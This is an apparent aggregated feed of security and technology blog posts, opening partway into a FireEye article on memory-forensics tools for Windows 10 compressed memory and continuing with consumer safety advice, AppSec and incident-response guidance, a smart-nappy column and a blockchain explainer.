Address spaces are responsible for satisfying memory read requests. When stacked on top of one another, each layer can translate the read request to an underlying base layer abstracting away the details of how the actual read is performed. An example translation is converting a virtual address to a physical address. Depending on the bottommost layer, the physical address may be an offset into a memory image, crash dump, or hibernate file. The takeaway is that an address space transparently resolves memory, regardless of its location and – most importantly – with zero effort on your part. Due to this seamless integration, users can interact with Volatility and Rekall just as before and, if a compressed page is detected, the new address spaces will take care of decompression in the background and return the decompressed data.

Back to our previous modules plugin example, Figure 2 demonstrates how the newly implemented address spaces properly decompress data located in compressed pages. No more hidden drivers or DLLs, among a plethora of other forensic artifacts. The data is now yours to continue your hunt for evil!


Figure 2: Volatility & Rekall decompressing compressed data

Get It Today

Head over to our Volatility and Rekall GitHub repositories to start using them today. After downloading or cloning the repositories, follow any necessary installation instructions as outlined on each GitHub's README page and start finding that evil!

Conclusion

Windows 10 memory compression is a significant evolution in the design of the memory manager that increases system performance by making a more efficient use of physical memory. This increase in performance comes at the cost of a more complex memory management system that is currently not publicly documented. Up until now, Volatility and Rekall were unable to inspect memory stored in compressed pages, opening the door to malicious programs and forensics artifacts going undetected. FireEye’s FLARE team hopes to fill the knowledge and technical gaps for Windows 10 compressed memory through contributions to Volatility and Rekall, as well as in presentations given at SANS DIFR (Finding Evil in Windows 10 Compressed Memory) and BlackHat USA 2019. We look forward to seeing you there and hearing your feedback, and we’re excited to see how these frameworks develop as a result of our contributions! Stay tuned for Part Two of our Finding Evil in Windows 10 Compressed Memory blog series.

4 Ways for Parents to Handle the Facebook Messenger Bug

9 out of 10 children in the U.S. between the ages of six and twelve have access to smart devices. And while parents know it’s important for their children to learn to use technology in today’s digital world, 75% want more visibility into their kids’ digital activities. This is precisely why Facebook designed Messenger Kids to empower parents to monitor their children’s safety online. However, the popular social media platform had to recently warn users of a security issue within this app for kids.

The central benefit of Messenger Kids is that children can only chat with other users their parents approve of. Yet one design flaw within the group chat feature prevented Facebook from upholding this rule. Children who started a group chat could include any of their approved connections in the conversation, even if a user was not authorized to message the other kids in the chat. As a result, thousands of children were able to connect with users their parents weren’t aware of via this flaw.

Luckily, Facebook removed the unauthorized group chats and flagged the issue to all affected users, promising that that potentially unsafe chats won’t happen again. While Facebook has not yet made a formal public response, they confirmed the bug to The Verge:

“We recently notified some parents of Messenger Kids account users about a technical error that we detected affecting a small number of group chats. We turned off the affected chats and provided parents with additional resources on Messenger Kids and online safety.”

Now, Facebook is currently working on still resolving the bug itself. However, there are still many actions parents can take to ensure that their child is safe on Facebook Messenger, and social media apps in general. Start by following these four best practices to secure your kid’s online presence:

  • Turn on automatic app updates on your child’s device. Updates usually include new and improved app features that your child will be excited to try. But more importantly, they tend to account for security bugs. Delaying updates can leave apps vulnerable to cybercriminals and turning on automatic app updates ensures that you don’t have to worry about missing one.
  • Get educated. Some parents find it helpful to use the same apps as their child to better understand how it works and what safety threats might be relevant. Facebook also offers resources online that provide guidance for staying safe, such as how and when to block a user and what kind of content is or isn’t risky to share. Additionally, it’s always a best practice to read the terms and conditions of an app before downloading to make sure you’re aware of what your child is signing up for.
  • Keep an open dialogue about online safety. It’s important to discuss your child’s online activities with them and walk them through best internet practices, such as changing passwords every so often and not clicking on links from unknown sources. That way, they’ll be better prepared for potential cyberthreats. Making the internet a part of the conversion will also help your child feel comfortable coming to you about things they might be skeptical about online.
  • Consider leveraging a security solution with parental controls. Depending on your child’s age and how much of a window you want into their online behaviors, you can leverage a solution such as McAfee Safe Family that can be helpful for creating a safe online environment. You can block certain websites and create predefined rules, which will help prevent your child from sharing comprising information.

And, of course, to stay updated on all of the latest consumer and mobile security threats, follow @McAfee_Home on Twitter, listen to our podcast Hackable?, and ‘Like’ us on Facebook.

The post 4 Ways for Parents to Handle the Facebook Messenger Bug appeared first on McAfee Blogs.

McAfee for McAfee: An Intern Journey

By Gwendolyn McAfee

My grandfather always told me that I could achieve anything the world has to offer if I put my mind to it.  To me, that saying means that I am more powerful than anything else. I’ve always had a passion for technology, and somehow, everything I did, whether it was at school or in my personal life, technology was at the center of it.

So, when I started my junior year of college, I set a goal for myself to find a corporate internship in technology. Getting into an internship wasn’t as straightforward as I’d hoped. Determination and a little bit of good timing brought me to a career fair at my university, Prairie View A&M, where McAfee was in attendance. I spoke to the wonderful representatives and they encouraged me to apply for a position. I thought it was cliché. I mean, just because my surname is the same, does that mean I’m meant to work for McAfee? But then I said to myself, “The company is TOTALLY for you; it literally has your name (McAfee) on it. What other signs do you need?” So, I applied for a position, and eight months later, I found myself at McAfee as a Channel Operations Intern. Now, two months into my internship, McAfee has provided me with the real-world, hands-on projects and experience that I longed for in an internship.

Here are three reasons why my internship with McAfee has been a truly irreplaceable experience.

  1. “We innovate without fear.”

When I walked into McAfee on my first day, I felt the energy and strength of the people that make up McAfee. Everyone at McAfee innovates without fear. It is such an amazing sight to see McAfee employees so committed to creating and improving without fear of being judged or fear of failure. And instead of being told what to do, I got to share what my passions are and what I wanted to work on and, my what I hoped I could take away from my overall experience. My manager heard me and created a tailored plan for me. I create presentations, spreadsheets, and new strategies to help McAfee connect more with partners and customers. And I love the fact that I have the same expectations, responsibilities, and opportunities as any other team member. I truly feel like I get to add value to my team with every project that I complete. And that’s an exceptional feeling.

  1. Opportunities All Around

Through my internship at McAfee, I have gained a plethora of opportunities to attend different events and do things that I wouldn’t usually do. In my first few weeks in my internship, I collaborated with the university recruiters to create the first McAfee intern group community.  Through this, we were able help interns connect with others, and with McAfee executives. This helps every intern grow professionally, which goes back to McAfee’s mantra, “Together is Power.” The impact of connecting and working together is something that I cherish and firmly believe is one of the greatest things about working at McAfee.

 

 

 

 

  1. Overall Amazing

McAfee influences the world by providing top cybersecurity programs, giving back to the community, and being a top company to work for. McAfee has made an impact on my life, and my time here has shown me that I can truly make an impact on anything as long as I put my mind to it.

 

The post McAfee for McAfee: An Intern Journey appeared first on McAfee Blogs.

Characteristics of a World-Class AppSec Program

A great AppSec program requires more than just scanning. It takes seamless processes and services designed to help developers fix flaws and write more secure code.

The following is a list of the characteristics that we have found among our customers with world-class AppSec programs.

Consider security early

In early planning phases, ensure secure architecture and design and conduct threat modeling of applications. The easiest security flaw to fix is the one that is never introduced.

Create a centralized AppSec inventory

One of the first challenges when kicking off an AppSec program is understanding where the applications are hosted, where the codebases are, who is responsible for building and maintaining them, what development languages are used, how critical are they to the organization, and so on.

In addition, organizations may not know about all of their web applications, either due to M&A activities or because they are created faster than they can track them, leaving them vulnerable to attack. Veracode Discovery quickly scans your entire web application attack surface to identify and inventory all of your web applications, giving you the best visibility into (1) where to target Dynamic Application Security Testing (DAST) scanning with Veracode Dynamic Analysis, and (2) into apps that can be decommissioned.

Learn more about prioritizing applications in this blog post.

Move beyond “business-critical” apps

A focus on business-critical apps is a good place to start, not to stop. While business-critical applications do pose a high risk because of the nature of the information they touch, cyberattackers are unconcerned with the business criticality of the applications they attack. Instead, they look for the path of least resistance into an organization, and oftentimes this can be an application whose security was overlooked because it was not deemed business critical. In the end, an effective application security program assesses the entire application landscape – including all applications internally developed, vendor-supplied, and downloaded – and considers both criticality and exploitability.

Defend in depth

There is no application security silver bullet. Effective application security combines the strengths of different testing types – both manual and automated – throughout the application lifecycle. For instance, our research showed that there are significant differences in the types of vulnerabilities you discover dynamically at runtime compared to those you’ll find when doing static testing in a non-runtime environment. In fact, two of the top five vulnerability categories we found during dynamic testing weren’t even among the top five found by static, with one not found by static at all. Cumulatively, these data points reveal that security testing, with multiple methods, remains a necessary step in securing your application layer and avoiding a damaging breach.

For more details on the different types of application security testing, see Your Guide to Application Security Solutions.

Create risk-based policies

Application security policies should always prioritize and emphasize vulnerabilities and applications that create the most risk.

For instance, rank vulnerabilities so that you are focused first and foremost on those that are actually increasing your risk. It’s important to distinguish between flaws that represent a remote risk and those that represent more substantial, real-world risks. In some cases, the likelihood of a vulnerability being exploited may be low, but the potential damage might be great. In other instances, the chance of exploit might be high, but the damage may not be substantial.

In addition, not all apps are created equal, so create different requirements for different apps. For instance, an application that has IP, is public facing, and has third-party components may require all medium to very critical flaws to be fixed. A one-page temporary marketing site may only require high/very high flaws to be fixed.

Learn more in Everything You Need to Know about Application Security Policies.

Employ developer coaching

Developer training has an essential role in reducing flaws. Effective application security requires both locating security-related defects, and fixing them. But developers simply aren’t equipped with the knowledge or skills they need to fix these flaws. Veracode recently sponsored the DevSecOps Global Skills Survey from DevOps.com, and found that less than one in four developers or other IT pros were required to take a single college course on security. Meantime, once developers get on the job, employers aren't advancing their security training options, either. Approximately 68 percent of developers and IT pros say their organizations don't provide them adequate training in application security. The good news is that getting developers the security training they need makes a big difference. Our data revealed that eLearning improved developer fix rates by 19 percent; even better, remediation coaching improved fix rates by a whopping 88 percent.

Learn more about developer training.

Allow for developer self-service

Contrary to many security professionals’ innate tendencies, it’s ideal to give your security testing tools “away for free.” Give developers a self-service portal where they can access AppSec tools, help them integrate AppSec tools into their IDEs, and make security reports visible to all.

However, governance should still sit with security. The security team should own setting policies, tracking KPIs, and providing security coaching to developers.

Learn more in The Security Professional’s Role in a DevSecOps World.

Focus on remediation and mitigation

Ultimately, your AppSec program is not effective if you’re not fixing what you find. You can scan every piece of code you write, but without adequate training and guidance, you will not create more secure code. In fact, you will delay developer timelines and still produce vulnerable code. Enabling developers with both a scanning tool and remediation and mitigation guidance is key. At Veracode, we conduct over 5,000 consultation calls a year with development teams, guiding them through fixing flaws they have never had to address before. And we’ve found that after only one to two of these calls, developers’ secure coding know-how improves dramatically.

In addition, your AppSec program also needs to be set up to enable remediation guidance.

For instance, every scan completed should be assessed against a policy — not a policy that changes how you scan or what is discovered, but rather a filter of the results to see if you passed or failed based on the parameters you set for risk tolerance. This policy should also include: how often does a team need to scan, how long do they have to fix certain flaws based on severity/criticality, and what scanning techniques must be used. In addition, you need remediation time built in between scans. Just scanning multiple times a day and pulling results into a tracking system is not useful if no one has the bandwidth to fix anything. You are better off setting a realistic scanning schedule (once a day) so developers have time to fix what they find. You can increase scan frequency as you become more secure and are passing policy on a regular basis.

Learn more in Application Security Beyond Scanning.

Integrate into the SDLC

Integrate security into the CI/CD process as early in the development lifecycle as possible. Your goal should be to minimize the gap between the discovery of a problem and the time it takes to bring the developer back in to fix it. First, because it’s much faster, cheaper and easier to ask a developer to fix something they just coded compared to something they wrote six months ago. The longer you wait, the longer it will take for the developer to get back up to speed with that particular code, assuming the developer is even still on the project. Second, because the time it takes for attackers to come up with exploits for newly discovered vulnerabilities is measured in days, and sometimes hours. Yet our most recent State of Software Security report found that one in four high and very high severity flaws are not addressed within 290 days of discovery.

Aim to conduct security testing during continuous integration. Better yet, use automation to conduct testing while the developer is writing the code, giving them instant feedback so they can make a fix before it ever becomes a problem.

Get more details on integrating AppSec on our website.

Learn more

Learn from our decade-plus of helping customers build out their AppSec programs; start with our Application Security Best Practices Handbook.

Four Key Questions to ask following a Cyber Attack

Guest Article by Andy Pearch, Head of IA Services at CORVID

Cyber attacks are inevitable, but it’s how an organisation deals with them that can make or break their business. Have they got all the answers, and do they fully understand the implications? Can they be sure the attack won’t happen again?

Swift and comprehensive incident response is a critical step to ensuring the future security of a business and protecting its reputation. It’s not enough to be aware that an attack is taking (or has taken) place. There are four key questions organisations need to be able to answer following a cyber security breach – if a single answer is missing, the security team won’t have the full picture, leaving the business vulnerable to impending attacks. Not having this level of insight can also damage an organisation’s relationships with suppliers and affect customer confidence, as it means the business itself is not in control of the situation.

Andy Pearch, Head of IA Services at CORVID, outlines four key questions all organisations must be able to answer after a cyber attack.

1. How and where did the Security Breach take place?The first step of an effective incident response strategy is to identify how the attackers got in. Quite simply, if an organisation misses this first crucial step, attackers will exploit the same vulnerability for future cyber attacks. Guesswork won’t cut it – any security professional can hypothesise that “it was probably an email”, but security teams need clear evidence so they can fully analyse all aspects of the problem and devise an appropriate solution.

2. What Information was Accessed?
Understanding specifically what information was accessed by the attacker is paramount to knowing what impact the attack will have on the organisation. Identifying which departments were targeted or what types of information might have been stolen isn’t good enough; organisations need to be able to articulate exactly which files were accessed and when. 

Headlines about attackers stealing information are common, but just as importantly, you need to know the scope of the information they’ve seen, as well as the information they’ve taken. Not only will this inform the next steps that need to be taken, and shed light on which parts of the business will be affected, but it will also enable the organisation to remain compliant with legal obligations, for example, identifying if a data breach needs to be reported under GDPR.

3. How can Systems be Recovered Quickly?
Organisations will understandably want to get their IT estate back to normal as soon as possible to minimise damage to their business, service and reputation. If the compromise method is identified and analysed correctly, IT systems can be remediated in seconds, meaning users and business operations can continue without downtime for recovery.

4. How do you prevent it from happening again?
Knowing the IT estate has been compromised is useless without taking steps to make sure it doesn’t happen again. Managed Detection and Response (MDR) is all about spotting the unusual activity that indicates a potential breach. If a user is accessing files they would never usually touch, sending unexpected emails or reaching out to a new domain, for example, such activity should prompt a review. The problem for most companies, however, is they lack not only the tools to enable such detection, but also the time and skills to undertake thorough analysis to determine whether it is a breach or a false positive.

A managed approach not only takes the burden away from businesses, but also enables every company to benefit from the pool of knowledge built up as a result of detecting and remediating attacks on businesses across the board. With MDR, every incident detected is investigated and, if it’s a breach, managed. That means shutting down the attack’s communication channel to prevent the adversary communicating with the compromised host, and identifying any compromised asset which can then be remediated.

Shifting Security Thinking
Clearly, GDPR has raised awareness that the risks associated with a cyber attack are not only financial, as hackers are actively seeking to access information. Security plans, therefore, must also consider data confidentiality, integrity and availability. But it is also essential to accept the fundamental shift in security thinking – protection is not a viable option given today’s threat landscape. When hackers are using the same tactics and tools as bona fide users, rapid detection and remediation must be the priority.

Four cyber security myths affecting British businesses

Businesses need to take their cyber security seriously. There are huge financial implications for being hacked, not just from the perspective of lost revenue and weakened reputation, but also in the form of stricter regulations from laws such as the General Data Protection Regulation (GDPR). However, there are a number of myths about cyber security that make it difficult for companies to know what the best course of action is. Here are four myths about cyber security that are still affecting British businesses.

Myth #1: Cyber security is purely dealt with by the IT department

One commonly held myth that can actually put businesses at risk is the idea that cyber security is something that the IT department (and only the IT department needs to be concerned about). Of course, it is necessary to provide your IT team with the budget and resources to defend your business against the risk of a cyber-attack.

The nature of cyber crime means that it is something that the whole of the company needs to be aware of, and understand how to respond to it. For example, directors and senior staff need to understand the risk of them being targeted with business email compromise (BEC) attacks. And all employees need to be aware of the dangers of phishing schemes.

Ensure that your IT department is provided with the resources to provide the relevant training to all members of the team. It is also a good idea to make cyber security an important company-wide issue so that responsibilities are fully understood.

Myth #2: Small businesses don’t get targeted by cyber criminals

It can be easy to look at the cyber criminals and hackers making headlines and believe that cyber attacks only occur against large businesses and huge organisations. Yes, it is common to read about well-known brands losing significant quantities of data, and that can lull small businesses into an assumption that it is only those large businesses that are the targets of cybercrime.

However, this couldn’t be further from the case. In fact, recent statistics show that around 60 per cent of small businesses suffer some form of hacking attempt every year. Small businesses can be considered easy targets by hackers because they may not have the money to invest in powerful cyber security. So, if you are a small business owner, don’t discount the possibility of being attacked just because you aren’t large. If you appear to be a quick win for hackers, they will target you.

Myth #3: Antivirus and firewall software is enough

Some businesses still believe that they can simply rely on their antivirus and firewall software in order to keep their business IT system secure. But the truth is that modern cyber criminals are too advanced and sophisticated to simply use these sorts of security.

To defend against skilled hackers, businesses need to invest in similarly advanced defences. This could include everything from ethical hacking and penetration testing to round-the-clock system monitoring and endpoint protection. It’s worth speaking to cyber security experts who will be able to provide you with advice and guidance on the kind of defences that your system needs.

 

Myth #4: Digital security and physical security are separate issues

Plenty of businesses understand that cyber security is a serious issue with hackers and criminals becoming more and more sophisticated and resourceful. This has seen them organisations invest in the kind of skills and software required to keep the business IT system safe, and clearly that is a good thing.

However, it can also lead to organisations overlooking the dangers of physical security breaches. If cyber criminals can gain access to your building or easily carry out surveillance, it can make it much easier for them to gain access to your system. So, it is essential that you should consider that your physical security is an important aspect of your cyber security, and invest in it in the same way.

Leading physical security provider Maltaward recommends a full range of security measures in order to keep your site secure in this blog, which includes CCTV across the property, security doors and even the use of concrete barriers to prevent unauthorised access to the company carpark or other areas of your working premises.

The post Four cyber security myths affecting British businesses appeared first on CyberDB.

Is buying a ‘smart nappy’ really such a clever idea? | Arwa Mahdawi

Anxious parents may see the appeal of measuring their baby’s vital signs – but sharing your child’s data with a private company may not be wise

This week’s instalment of innovations no one was waiting for is brought to you by Pampers, which has announced a “smart nappy” system. Lumi consists of a sensor that you stick to a specially designed nappy; the gizmo then beams information about how much your little bub is peeing and sleeping to a dedicated app. You can complement this with a video monitor that links to the app and tracks room temperature and humidity. Voilà: your embarrassingly low-tech baby is now a sophisticated analytics machine.

If you can’t wait to start a more data-driven relationship with your newborn, I am afraid to say there is no word on when Lumi will launch in the UK (it arrives in the US this autumn). If you are in South Korea, however, you can grab some Huggies smart nappies; these let you know, via Bluetooth, whether your baby has urinated or defecated. A truly brilliant update to the obsolete technology known as “your nose”.

Related: ‘You can track everything’: the parents who digitise their babies’ lives

Continue reading...

School of Cyberthreats: 3 Attacks Impacting Today’s Schools

Educational institutions are data-rich gold mines. From student and employee records to sensitive financial information, schools contain a plethora of data that can be obtained by cybercriminals rather easily due to lack of security protocols. This fact has cybercriminals pivoting their strategies, leading to a recent uptick in attacks on the education sector in the United States and around the world. In fact, there are three main threats impacting schools — data breaches, phishing, and ransomware. Let’s take a look at each of these threats, how cybercriminals have executed them, and the precautions students can take in the future.

Data Breaches

Nearly half of the cyberattacks that impacted schools in 2018 were data breaches, which occur when an unauthorized, third-party gains access to a school’s network. From there, cybercriminals gain access to a host of private information on employees and students, including names, dates of birth, addresses, phone numbers, email addresses, and Social Security numbers. After an attack of this nature occurs, educational institutions reassess their current cybersecurity strategy. This usually entails revisiting privacy settings and reviewing all security protocols. 

Phishing

Even the savviest email user can fall for a phishing scheme. These types of schemes usually entail tricking teachers or students out of private information or money. When cybercriminals send emails with fraudulent links, unsuspecting users click on that link because the web address is usually only off by one or two letters. Once the scammer has been given access through the malicious link, they get to work obtaining private information contained on the device. Using this data, they can enact further schemes. There have even been cases of cybercriminals impersonating deans or teachers asking for gift cards, which is a type of spear-phishing where scammers take the information they have obtained about a victim and use it to their advantage. The good news? Users can prevent against these sneaky attacks by staying vigilant and applying security best practices.

Ransomware

When ransomware hits, schools don’t really have a lot of options. If they have data backups in place, then they don’t have to pay the ransom, otherwise educational institutions have no choice but to completely shut down. Considering how much technology has been integrated into classrooms, this isn’t surprising. A ransomware attack usually occurs when a school district’s system is infiltrated by a virus intending to bring operations to a halt. Cybercriminals hold systems hostage for a certain amount of money or ransom until the district decides to pay. The data that is held can range from a variety of things – lesson plans, financial information, personal employee and student records. There aren’t many ways for schools to bypass these types of attacks unless they are prepared beforehand. One way to be prepared is to back up files in multiple places, such as an external hard drive or cloud.

With the uptick in overall cyberthreats against schools, more and more educational institutions need to put protocols into place to avoid the multitude of ever-growing threats. However, students can do their part in prioritizing cybersecurity by following these tips to ensure personal data is secure:

  1. Watch what you are clicking. Phishing schemes are becoming craftier. A too good to be true study guide or deal on a textbook might end in a compromised system. It is always best to check directly with the source of the email or link before handing over money or data.
  2. Make sure you recognize the sender. When responding to a message, first check to see if you recognize the sender’s name and email address. If it looks strange, ignore the message. If you are unsure, check with the sender in person.
  3. Never reuse passwords. Many users reuse the same passwords or slight variations of it, across all of their accounts. That means if a hacker uncovers one password, all other accounts are put at risk. So, it is crucial to use different passcodes to ensure hackers cannot obtain access to all of your accounts.
  4. Stay on a secure network. If you connect to public Wi-Fi, be sure the network is secure. If it is not, consider using a virtual private network (VPN).
  5. Install security software on all devices. Security doesn’t begin or end with personal computers. All devices need to be protected with comprehensive security software, including mobile devices and tablets.
  6. Make sure all device software is up-to-date. This is one of the easiest and best ways to secure devices against threats, as developers are constantly releasing patches for vulnerabilities and flaws.

And as always, if you are interested in learning more about IoT and mobile security trends and information, follow @McAfee_Home on Twitter, and ‘Like” us on Facebook.

The post School of Cyberthreats: 3 Attacks Impacting Today’s Schools appeared first on McAfee Blogs.

Demystifying Blockchain: Sifting Through Benefits, Examples and Choices

You have likely heard that blockchain will disrupt everything from banking to retail to identity management and more. You may have seen commercials for IBM touting the supply chain tracking benefits of blockchain.[i]  It appears nearly every industry is investing in, adopting, or implementing blockchain. Someone has probably told you that blockchain can completely transform your business! Is this hype or could blockchain really have such a dramatic impact? In this analysis, we will explore both real-world and contrived examples for implementing this quickly developing technology. We will also explain the two key benefits blockchain provides, as well as when to look elsewhere for the appropriate solution. We will explain the primary distinguishing features of major blockchains to help you choose which, if any, is best for you.

Who Uses Blockchain?

Cryptocurrencies may be the best-known example of blockchain use, but they are not the only ones. American Express launched a blockchain linked to its membership rewards program in May 2018.[ii] This program has a lot of similarities to traditional currency exchanges and points reward systems. However, integrating the points rewards system into a blockchain can provide additional data beyond the transactions. American Express uses it to provide insight into partner offerings, while partners receive similar insight into customer behavior. The data associated with that transaction is valuable to both the rewards program owner and the partners that facilitate the rewards. Product manufacturers can use a blockchain system in this manner to accept rewards purchases through their own channels, while the program owner can get more visibility on stock keeping data. Data sharing to all parties can be simplified, enriching the entire ecosystem.[iii]

Not only financial institutions invest in blockchain. The energy sector is also developing plans. LO3 Energy is working on changing the way energy is distributed, particularly in local areas.[iv] Using this technology, they can facilitate energy trading between consumers, reducing inefficiencies and reliance on nonlocal sources. Siemens announced additional investment into LO3 Energy in December 2017. Together they will work to establish microgrid communities and local energy marketplaces.[v] Blockchain does not just store records of energy transactions; it can also facilitate and enforce business rules, creating automated execution of transactions between users.

Even your future commute may be positively impacted by blockchain technology. The auto industry is investing in blockchain in a big way. On May 2, 2018, the Mobile Open Blockchain Initiative announced a consortium of car manufacturing–related partners to standardize blockchain use in the industry.[vi] That announcement listed several upcoming projects:

  • Vehicle identity, history, and data tracking
  • Supply chain tracking, transparency, and efficiency
  • Autonomous machine and vehicle payments
  • Secure mobility ecosystem commerce
  • Data markets for autonomous and human driving
  • Car sharing and ride hailing
  • Usage-based mobility pricing and payments for vehicles, insurance, energy, congestion, pollution, and infrastructure

Many of these projects are related to data management. This is an obvious application because blockchain is a data-centric structure. Ford was recently awarded a patent related to the partnership.[vii] In the patent the company proposed a system for vehicle-to-vehicle cooperation to marshal traffic.

Figure 1: Image of traffic congestion from Ford’s patent application. Source: Ford Global Technologies.

To decrease congestion, each vehicle can communicate with each other to coordinate movement, improving traffic flow. The system also allows vehicles to collaborate based on priority. If the driver is in a hurry, then vehicles can coordinate traffic flow to the speed of that individual. One beneficial application could be for emergency responders.

Blockchain is still in its infancy but has already taken hold in certain industries. You do not need to be a programmer to understand its value. There are many use cases, some of which are not obvious until you understand exactly what blockchain is and which problems it solves. Applying blockchain to the right problem could have a significant impact on your success. Applying blockchain to the wrong problem may reduce your efficiency and waste time and resources.

What is Blockchain?

Rather than explain blockchain with technical jargon such as nonces, hash functions, merkle trees, and other complex concepts, let’s instead begin with a simple business analogy.

Four companies agree to a business opportunity to design, print, deliver, and sell 2020 New Year’s holiday cards. Each company is responsible for its own portion of the product. If the product is designed, printed, delivered, and sold by December 31, they stand to make a significant profit. However, if any one of the companies backs out or fails to deliver on its task, then the entire project fails—resulting in a significant loss.

Suppose, after agreeing to ship the cards, the delivery company receives a new, more lucrative offer. The profit from the opportunity offsets any loss from the holiday cards. Its priority changes accordingly. The three remaining companies now must deal with the consequences of one undependable member failing to fulfill its agreement. How can they come to an agreement when they depend on others yet cannot trust them to follow through?

This is the problem that blockchain solves. Rather than depending on a central authority such as a government for validation and enforcement, blockchain solves this problem in a decentralized way. It removes the need to trust the contributors or any authority. It is called a trustless network, meaning that no trust is needed because everything can be verified by any member. How does the concept of a trustless system work?

The agreement to contribute is called consensus. If even one member does not agree, whether for malicious purposes or through miscommunication, consensus is broken. It is the primary function of blockchain to guarantee consensus as well as immutability of the data. Consensus is gained through the consensus algorithm requiring a proof or voting threshold. We will discuss specific census algorithms and how they work later.

Blockchain can be thought of as a ledger of data, so ensuring the data cannot be tampered with (immutability) enables the verification of the ledger state. No one can go back and alter the books. Traditionally, the ledger is seen as a record of financial transactions. However, the concept applies to any type of data. One can just as easily store documents, images, log files, or other items in a blockchain. Even decentralized programs, also known as smart contracts, can be stored. Smart contracts enable the execution of code on the blockchain, but the code itself and its output are just a special type of data.

Figure 2: A simplified blockchain storing recipe instructions. The Previous Hash and Stuff fields generate the Hash field. This hash becomes part of the next record.

A blockchain has only two basic requirements:

  • A verifiable chain of blocks
  • A consensus model

Blocks simply store data. In our example, a block stores the agreements of the four companies. For cryptocurrencies this data is currency transactions. For a fresh-produce delivery company, the data might be sensor logs to verify proper handling and environmental controls. In certain unobvious implementations, even seemingly intangible objects such as the rules, assets, and user choices in a collectable card game can be stored as blocks.[viii]

Just because a block contains data does not make it trustworthy. Each block, more specifically its data, needs to be independently verified by all clients to ensure consensus. This concept requires data immutability. If a client cannot verify the block, then it must trust some authority, ultimately breaking the tenet of decentralization. Again, to avoid technical jargon, all we need to understand is that blocks can be uniquely identified by a hash. Think of a hash as a unique identification number that is not assigned, but rather calculated. Every client can calculate the same hash of the same block using the same algorithm. If any data changes, even a single character, the hash changes completely. By calculating and storing the hash, all parties can verify that the data has not changed. (In principle, there is a small chance, depending on the hashing function used, that more than one block could be identified with the same hash. However, the likelihood is so incredibly small that a brute-force attempt on current SHA-256 hashes would take longer than the age of the universe.)

We can verify an entire “chain” of blocks as well. Because the hash of any block is just data, it can be added to the data of the next block. By adding the hash of one block to the next, we can interlink the data of all blocks. The data of any block is dependent on all previous data in the chain. If anyone tampers with data in any previous block, the hash of that block changes as does its parent block’s hash, continuing all the way up the chain. Without needing to independently verify the data of every block, we can calculate each hash and verify the integrity of all data.

However, knowing the data has not changed is not enough to ensure the original data is still intact. For example, a disgruntled employee may wish to create their own blockchain and remove items from the record. In a centralized system, we could restrict write access to trusted parties, such as a database administrator. In a decentralized system, in which multiple companies or individuals are involved, limitations make that level of control impractical. There are a few ways to come to a consensus, but there are two primary categories for decentralized blockchains:

  • Nakamoto-style consensus (lottery)
  • Byzantine fault tolerance (voting)

The first category is Nakamoto-style consensus, named after the author of the first blockchain paper.[ix] This method is akin to using a lottery system with some verifiable “cost” associated. Because cryptocurrency is the most common implementation of blockchain, the cost is historically based on the processing power required to mine cryptocurrency, but it could also be storage space or time, among other resources.

The second method of consensus is Byzantine fault tolerance, a model based on current networking fault-tolerance research. As much as a lottery is analogous to the Nakamoto model, so is voting to the Byzantine fault-tolerance model. Each model has its pros and cons, which are important to understand when choosing a consensus model. We will describe major consensus implementations later in this analysis.

Both Nakamoto style and Byzantine fault tolerance consensuses have several implementations to choose from. Regardless of which implementation we choose, once a consensus is made these blocks can be chained together creating a single ledger of immutable data. Multiple chains may exist, but only one chain is agreed upon. Additional chains can be made by happenstance or by malicious actors, but only one chain will be considered correct by the network.

The following image shows a failed attack against a proof-of-work consensus model from a simulator. The green nodes all agree to use the longest chain, based on the consensus model. Bad actors, illustrated as red nodes, are unable to break the consensus of other members due to the high processing cost in the proof-of-work model. Notice the green, or “honest,” nodes all agree on the latest block simply by choosing the longest chain with the most work.

Figure 3: A proof-of-work simulation showing consensus despite malicious actors.

Comparing use Cases: the Good and the Bad

Data within blocks are similar to records in a database. Many scenarios can be accomplished by using traditional databases and in some cases are better suited to doing so. When is using a blockchain appropriate and when is it not? We can boil this question down to two principles:

  • Decentralization of owners
  • Lack of trust

Any system that requires centralization and tight control is not a good candidate for blockchain. In many cases we could make it work, but we would be better off looking elsewhere. A centralized system relies on some authority deciding what is valid. It can be streamlined to be incredibly efficient. By using a blockchain we must either give up that authority, losing efficiency, or maintain the authority, breaking key benefits of blockchain. There are also some gray areas where a balance must be met. Let’s take a look at good and bad use cases and compare them.

Decentralization: the good

Alice owns a hospital that serves thousands of patients a week. The medical staff need to have a clear picture of every patient’s medical history to make effective and safe decisions. When patients come in for the first time they are asked routine medical questions that are entered into their records. When the patients return, the records are retrieved and reviewed by the staff. However, patients sometimes have difficulty remembering key details or leave out important information. The hospital can request information from their previous providers. That may prove impractical in a time-sensitive scenario or when the patients are unable to assist. The patients might have one or more providers they have forgotten, leaving the staff ignorant of some medical history.

This is an example of the decentralization principle. Alice’s hospital has no control over any medical data not in its possession. That data is dependent on the accuracy of the patients and other medical practitioners. Alice also has no control over the other practitioners. She is dependent on their timely cooperation. Each entity needs to ensure the data is up to date and accurate while not being held accountable by the other. Who gets the final say on the entirety of the medical history? How does Alice know if she has it all? There are certainly centralized solutions to the problem, but the decentralized nature of the patients’ data flow lends itself well to a blockchain solution. Some solutions for this problem are already underway.[x]

Decentralization: the bad

Bob is the owner of a chain of restaurants in the Dallas area. To encourage customers to return, he has introduced a rewards system; customers can earn points by spending money at any of his restaurants. They can use the points to pay or reduce their next bill. As a bonus, he would like the points to be transferable to other patrons. Recognizing the similarities between his point system and cryptocurrencies, Bob implements a blockchain to track the distribution and transfer of the points. Members can join his blockchain network when they earn points. They can spend points by submitting the changes to the network. Bob does not even require names for the points. As long as the owners keep their account keys, they can freely transfer the points to anyone.

This scenario is deceptively similar to cryptocurrency implementations and the American Express rewards system. However, the similarities have confused Bob. His customers and individual restaurants are considered to be decentralized. However, Bob is the owner of all the restaurants and gets to make all business decisions for them. This is not a decentralization of owners but of management. In the American Express rewards program, each partner has its own agency. American Express does not control them or their actions. This is an example of a decentralization of owners. Furthermore, Bob’s customers are also not independent of Bob. If Bob decides to serve only pizza, then customers will have limits on what they can order. Bob is an authority in the entire system even if the pieces have varying degrees of autonomy. He can certainly allow managers to supply their own menu, but they are accountable to him. The system Bob envisions fails the decentralization principle.

